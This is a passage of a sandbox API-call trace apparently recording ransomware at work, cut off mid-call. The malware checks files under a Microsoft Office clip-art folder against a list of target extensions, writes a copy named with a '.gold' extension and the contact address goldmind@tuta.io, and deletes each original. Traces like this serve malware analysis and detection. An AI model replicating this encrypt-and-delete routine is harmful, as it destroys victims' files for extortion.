lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.045] lstrlenW (lpString=".xlsx") returned 5 [0098.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.045] lstrlenW (lpString=".ppt") returned 4 [0098.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.045] lstrlenW (lpString=".zip") returned 4 [0098.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.045] lstrlenW (lpString=".rar") returned 4 [0098.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.045] lstrlenW (lpString=".bz2") returned 4 [0098.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.046] lstrlenW (lpString=".7z") returned 3 [0098.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.046] lstrlenW (lpString=".dbf") returned 4 [0098.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.046] lstrlenW (lpString=".1cd") returned 4 [0098.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0098.046] lstrlenW (lpString=".jpg") returned 4 [0098.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.046] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.046] lstrlenW (lpString="HH00681_.WMF") returned 12 [0098.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.048] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9300) returned 1 [0098.048] CloseHandle (hObject=0x3c0) returned 1 [0098.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0098.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.048] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.048] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.049] GetLastError () returned 0x0 [0098.049] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2454, lpOverlapped=0x0) returned 1 [0098.050] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0098.051] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.051] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.051] SetEndOfFile (hFile=0x3c4) returned 1 [0098.051] CloseHandle (hObject=0x3c4) returned 1 [0098.051] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.052] SetEndOfFile (hFile=0x3c0) returned 1 [0098.053] CloseHandle (hObject=0x3c0) returned 1 [0098.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0098.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.054] lstrlenW (lpString=".doc") returned 4 [0098.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.054] lstrlenW (lpString=".docx") returned 5 [0098.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.054] lstrlenW (lpString=".pdf") returned 4 [0098.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.054] lstrlenW (lpString=".xls") returned 4 [0098.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.054] lstrlenW (lpString=".xlsx") returned 5 [0098.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.054] lstrlenW (lpString=".ppt") returned 4 [0098.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.054] lstrlenW (lpString=".zip") returned 4 [0098.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.054] lstrlenW (lpString=".rar") returned 4 [0098.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString=".bz2") returned 4 [0098.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString=".7z") returned 3 [0098.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.055] lstrlenW (lpString=".dbf") returned 4 [0098.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.055] lstrlenW (lpString=".1cd") returned 4 [0098.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.055] lstrlenW (lpString=".jpg") returned 4 [0098.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.055] lstrlenW (lpString=".doc") returned 4 [0098.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString=".docx") returned 5 [0098.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.055] lstrlenW (lpString=".pdf") returned 4 [0098.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString=".xls") returned 4 [0098.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.055] lstrlenW (lpString=".xlsx") returned 5 [0098.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.055] lstrlenW (lpString=".ppt") returned 4 [0098.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.055] lstrlenW (lpString=".zip") returned 4 [0098.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.055] lstrlenW (lpString=".rar") returned 4 [0098.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString=".bz2") returned 4 [0098.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.055] lstrlenW (lpString=".7z") returned 3 [0098.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.056] lstrlenW (lpString=".dbf") returned 4 [0098.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.056] lstrlenW (lpString=".1cd") returned 4 [0098.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0098.056] lstrlenW (lpString=".jpg") returned 4 [0098.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.056] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.056] lstrlenW (lpString="HH00685_.WMF") returned 12 [0098.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.056] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4032) returned 1 [0098.056] CloseHandle (hObject=0x3c0) returned 1 [0098.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0098.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.057] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.057] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.057] GetLastError () returned 0x0 [0098.057] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xfc0, lpOverlapped=0x0) returned 1 [0098.059] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xfd0, lpOverlapped=0x0) returned 1 [0098.059] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.059] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.060] SetEndOfFile (hFile=0x3c4) returned 1 [0098.060] CloseHandle (hObject=0x3c4) returned 1 [0098.060] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.060] SetEndOfFile (hFile=0x3c0) returned 1 [0098.061] CloseHandle (hObject=0x3c0) returned 1 [0098.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0098.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.062] lstrlenW (lpString=".doc") returned 4 [0098.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.062] lstrlenW (lpString=".docx") returned 5 [0098.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.062] lstrlenW (lpString=".pdf") returned 4 [0098.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.062] lstrlenW (lpString=".xls") returned 4 [0098.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.062] lstrlenW (lpString=".xlsx") returned 5 [0098.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.062] lstrlenW (lpString=".ppt") returned 4 [0098.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.062] lstrlenW (lpString=".zip") returned 4 [0098.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.062] lstrlenW (lpString=".rar") returned 4 [0098.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.062] lstrlenW (lpString=".bz2") returned 4 [0098.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString=".7z") returned 3 [0098.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".dbf") returned 4 [0098.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".1cd") returned 4 [0098.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".jpg") returned 4 [0098.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".doc") returned 4 [0098.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString=".docx") returned 5 [0098.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.063] lstrlenW (lpString=".pdf") returned 4 [0098.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString=".xls") returned 4 [0098.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.063] lstrlenW (lpString=".xlsx") returned 5 [0098.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.063] lstrlenW (lpString=".ppt") returned 4 [0098.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".zip") returned 4 [0098.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.063] lstrlenW (lpString=".rar") returned 4 [0098.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString=".bz2") returned 4 [0098.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString=".7z") returned 3 [0098.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".dbf") returned 4 [0098.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".1cd") returned 4 [0098.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0098.063] lstrlenW (lpString=".jpg") returned 4 [0098.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.063] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.063] lstrlenW (lpString="HH00687_.WMF") returned 12 [0098.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.064] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4340) returned 1 [0098.064] CloseHandle (hObject=0x3c0) returned 1 [0098.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0098.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.064] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.064] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.065] GetLastError () returned 0x0 [0098.065] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x10f4, lpOverlapped=0x0) returned 1 [0098.206] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1100, lpOverlapped=0x0) returned 1 [0098.207] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.207] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.207] SetEndOfFile (hFile=0x3c4) returned 1 [0098.207] CloseHandle (hObject=0x3c4) returned 1 [0098.207] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.207] SetEndOfFile (hFile=0x3c0) returned 1 [0098.209] CloseHandle (hObject=0x3c0) returned 1 [0098.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0098.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.522] lstrlenW (lpString=".doc") returned 4 [0098.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.522] lstrlenW (lpString=".docx") returned 5 [0098.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.522] lstrlenW (lpString=".pdf") returned 4 [0098.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.522] lstrlenW (lpString=".xls") returned 4 [0098.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.522] lstrlenW (lpString=".xlsx") returned 5 [0098.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.522] lstrlenW (lpString=".ppt") returned 4 [0098.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.522] lstrlenW (lpString=".zip") returned 4 [0098.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.522] lstrlenW (lpString=".rar") returned 4 [0098.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.522] lstrlenW (lpString=".bz2") returned 4 [0098.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.522] lstrlenW (lpString=".7z") returned 3 [0098.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.522] lstrlenW (lpString=".dbf") returned 4 [0098.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.522] lstrlenW (lpString=".1cd") returned 4 [0098.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.523] lstrlenW (lpString=".jpg") returned 4 [0098.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.523] lstrlenW (lpString=".doc") returned 4 [0098.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString=".docx") returned 5 [0098.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.523] lstrlenW (lpString=".pdf") returned 4 [0098.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString=".xls") returned 4 [0098.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.523] lstrlenW (lpString=".xlsx") returned 5 [0098.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.523] lstrlenW (lpString=".ppt") returned 4 [0098.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.523] lstrlenW (lpString=".zip") returned 4 [0098.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.523] lstrlenW (lpString=".rar") 